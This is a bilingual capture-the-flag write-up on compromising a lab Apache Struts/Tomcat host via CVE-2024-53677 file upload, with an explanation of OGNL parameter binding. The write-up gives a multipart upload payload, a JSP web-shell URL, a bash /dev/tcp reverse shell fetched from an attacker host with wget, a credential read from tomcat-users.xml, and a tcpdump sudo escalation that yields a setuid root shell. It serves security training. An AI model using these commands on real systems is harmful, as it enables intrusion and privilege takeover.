本文介绍了针对运行Apache Struts的应用程序的渗透测试过程。首先,通过nikto工具对目标网站进行枚举,发现运行在Tomcat上的应用。接着,利用CVE-2024-53677漏洞进行文件上传攻击,以实现远程代码执行(RCE)。文章详细描述了如何构建和测试payload,并提供了反向连接的步骤。最后,讨论了在特权提升过程中使用tcpdump的技巧,以及Struts2中的OGNL参数绑定机制的关键点。 This article details the penetration testing process for an application running Apache Struts. It begins by enumerating the target website using the nikto tool, discovering an application running on Tomcat. Next, it exploits the CVE-2024-53677 vulnerability to perform a file upload attack, achieving Remote Code Execution (RCE). The article thoroughly describes how to construct and test the payload, and provides steps for establishing a reverse shell connection. Finally, it discusses techniques using tcpdump during the privilege escalation process and highlights key points about the OGNL parameter binding mechanism in Struts2.

枚举

image

有两个端口开放

现在使用nikto来枚举网站

image

没有CGI

10.10.11.59 strutted.htb

添加10.10.11.59 strutted.htb到/etc/hosts

查看网站,手动枚举

打开页面发现一个

image

我们下载后得到一个

image

strutted.zip 解压unzip stutted.zip

解压出来后得知目标上运行的应用程序服务器tomcat

查看文件夹strutted后看到应用程序依赖项的文件是pom.xml

打开pom.xml

image

MVC架构是 Apache struts 6.3.0.1

在搜索引擎中搜索得到CVE ID为CVE-2024-53677

  • --

根据github

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

image

需要模块

sudo apt install python3-requests-toolbelt

再次尝试

查看源代码,我们可以打开burp

再次运行就成功了

没有找到漏洞

说明:没有找到此漏洞,但是它依然存在文件上传漏洞导致RCE

  • --

立足点

尝试手动上传

仔细查看下载下来的文件我们可以发现目标可以运行.jsp文件

文件也包含了关于如何检测是否为png等图像的方法:检查魔法头。我们在他之后写入相应代码即可

根据此处以及这个payload

我们应该构建一个类似的表单:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1

- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ--
image

我们尝试这样做的时候,发现好像似乎没用

此时只需要将upload小写改为大写Upload。(解释

image

测试payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

反向链接

攻击机:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh

python3 -m http.server 80

nc -lvvp 4444

目标:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

寻找文件

cat conf/tomcat-users.xml → password="IT14d6SSP81k"

cat /etc/passwd | grep '/bin/bash' → 用户:james存在

ssh链接

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin查询

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

/tmp/bash_root -p

即可


解释

为什么将upload小写改为大写Upload

Struts2 的文件上传是通过一个叫 FileUploadInterceptor 的拦截器完成的。它在请求进入 Action 之前,对 multipart/form-data 的每个字段执行一套绑定逻辑。

假设表单中有:<input type="file" name="upload">

那么 Struts 会尝试去你的 Action 类(这里是org.strutted.htb.Upload)中找这些属性:

image

JavaBean/OGNL 反射在匹配 setter 时采用首字母大写的 method 名(setUploadFileName),最终只有 UploadFileName 能被 route 到正确的 setter(实现差异导致必须使用大写形式)。

为什么要使用top.UploadFilename?

top.UploadFileName和 Struts 的 OGNL(Object-Graph Navigation Language)机制有关系。

一、Struts 参数绑定的真相

Struts2 在接收到一个 HTTP 请求时,会把所有表单字段和 multipart 字段放进一个 ValueStack

这个栈本质上是一个对象层次结构(通常顶层是当前执行的 Action)。

OGNL 负责解析表达式,把请求参数名(如 "UploadFileName", "user.name", "top.UploadFileName"

映射到对象的属性上。

比如:

  • 参数名 "uploadFileName" → 调用 setUploadFileName(...)
  • 参数名 "user.name" → 调用 getUser().setName(...)
  • 参数名 "top.UploadFileName" → 直接作用在 栈顶对象(当前 Action) 上,而不是栈中其他对象。

二、为什么要写成

top.UploadFileName

在很多真实场景(尤其是漏洞利用或某些复杂配置中),Action 并不是唯一的对象。

ValueStack 里可能还有:

  • 拦截器注入的对象(如模型、DTO);
  • 内部 Map(如 parameters、session、application);
  • 甚至 request / response 的引用。

当你直接写 "UploadFileName" 时,OGNL 会从栈顶往下查找第一个含有该属性的对象。

如果在上层某个对象里也存在同名属性,比如 "parameters.UploadFileName",OGNL 可能就绑定错对象。

因此——

top.UploadFileName 是一种“指明方向”的写法:

告诉 OGNL “我不要查栈,我要直接改栈顶(即 Action 本身)的 UploadFileName 属性”。

在利用链或渗透测试里,这一点非常重要,因为:

  1. 目标 setter 可能只存在于 Action,而非内部模型;
  2. 攻击者要确保 OGNL 表达式不会意外被其他层拦截;
  3. 某些 RCE 利用(如 Struts2 S2-045 / S2-046)就是利用 top 来访问 actionContextapplicationmemberAccess 等敏感对象。
  • top 是 OGNL 的关键字,代表 ValueStack 栈顶对象(通常是当前 Action)。
  • top.UploadFileName 可以确保修改的就是 Action 自己的属性,不被中间对象干扰。
  • 在漏洞利用或调试中,明确指定 top. 是一种“精准打击”——直接命中 setter。

Enumeration

image

Two ports are open

Now use nikto to enumerate the website

image

No CGI

10.10.11.59 strutted.htb

Add 10.10.11.59 strutted.htb to /etc/hosts

View the website, manual enumeration

Opening the page reveals a

image

After downloading it we get a

image

strutted.zip Unzip with unzip strutted.zip

After extracting, we learn the application server running on the target is tomcat

Looking at the strutted folder, we see the application dependency file is pom.xml

Open pom.xml

image

The MVC framework is Apache Struts 6.3.0.1

Searching in a search engine yields a CVE ID of CVE-2024-53677

  • --

According to github

git clone https://github.com/0xPThree/struts_cve-2024-53677.git

image

Required module

sudo apt install python3-requests-toolbelt

Try again

Viewing the source code, we can open burp

Running again succeeds

No vulnerability found

Note: The vulnerability was not found, but there is still a file upload vulnerability leading to RCE

  • --

Foothold

Attempt manual upload

Carefully examining the downloaded file we can see the target can run .jsp files

The file also contains methods on how to detect if it's a png or other images: check the magic header. We can write the corresponding code after it

According to here and this payload

We should construct a similar form:

POST /uploads.action HTTP/1.1

Host: 127.0.0.1:8080

Connection: keep-alive

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Content-Length: 138

------WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="1.txt"

Content-Type:  text/plain

y4tacker

------WebKitFormBoundaryq0PW93h6lyBzjZNZ

Content-Disposition: form-data; name="Upload";filename="2.txt"

Content-Type:  text/plain

1

------WebKitFormBoundaryq0PW93h6lyBzjZNZ--
image

When we tried this, it seemed useless

At this point just change upload lowercase to uppercase Upload. (Explanation)

image

Test payload

http://strutted.htb/shell.jsp?action=cmd&cmd=id

Reverse shell

Attacker machine:

echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh

python3 -m http.server 80

nc -lvvp 4444

Target:

http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh

http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh

Finding files

cat conf/tomcat-users.xml → password="IT14d6SSP81k"

cat /etc/passwd | grep '/bin/bash' → User: james exists

SSH connection

ssh james@10.129.231.200

Privilege Escalation

sudo -l → /usr/sbin/tcpdump

GTFOBin query

COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

/tmp/bash_root -p

That's it


Explanation

Why change upload lowercase to uppercase Upload

Struts2 file upload is handled by an interceptor called FileUploadInterceptor. It executes a set of binding logic on each field of multipart/form-data before the request enters the Action.

Assuming the form has: <input type="file" name="upload">

Then Struts will try to find these properties in your Action class (here org.strutted.htb.Upload):

image

JavaBean/OGNL reflection uses capitalized method names (setUploadFileName) when matching setters, ultimately only UploadFileName can be routed to the correct setter (implementation differences require the uppercase form).

Why use top.UploadFileName?

top.UploadFileName is related to Struts's OGNL (Object-Graph Navigation Language) mechanism.

I. The Truth of Struts Parameter Binding

When Struts2 receives an HTTP request, it places all form fields and multipart fields into a ValueStack.

This stack is essentially an object hierarchy (usually with the currently executing Action at the top).

OGNL is responsible for parsing expressions and mapping request parameter names (such as "UploadFileName", "user.name", "top.UploadFileName")

to object properties.

For example:

  • Parameter name "uploadFileName" → calls setUploadFileName(...);
  • Parameter name "user.name" → calls getUser().setName(...);
  • Parameter name "top.UploadFileName" → acts directly on the top object of the stack (the current Action), not on other objects in the stack.

II. Why Write It As

top.UploadFileName

In many real-world scenarios (especially in exploit scenarios or certain complex configurations), the Action is not the only object.

The ValueStack may also contain:

  • Objects injected by interceptors (such as models, DTOs);
  • Internal Maps (such as parameters, session, application);
  • Even references to request / response.

When you write "UploadFileName" directly, OGNL searches from the top of the stack downward for the first object containing that property.

If a property with the same name exists in an upper-layer object, such as "parameters.UploadFileName", OGNL might bind to the wrong object.

Therefore—

top.UploadFileName is a way to "specify direction":

It tells OGNL "I don't want to search the stack; I want to directly modify the UploadFileName property of the top object (i.e., the Action itself)."

In exploit chains or penetration testing, this point is crucial because:

  1. The target setter might only exist in the Action, not in internal models;
  2. The attacker must ensure the OGNL expression is not accidentally intercepted by other layers;
  3. Some RCE exploits (such as Struts2 S2-045 / S2-046) use top to access sensitive objects like actionContext, application, memberAccess.
  • top is an OGNL keyword representing the top object of the ValueStack (usually the current Action).
  • top.UploadFileName ensures that the Action's own property is modified, without interference from intermediate objects.
  • In vulnerability exploitation or debugging, explicitly specifying top. is a form of "precision strike"—directly hitting the setter.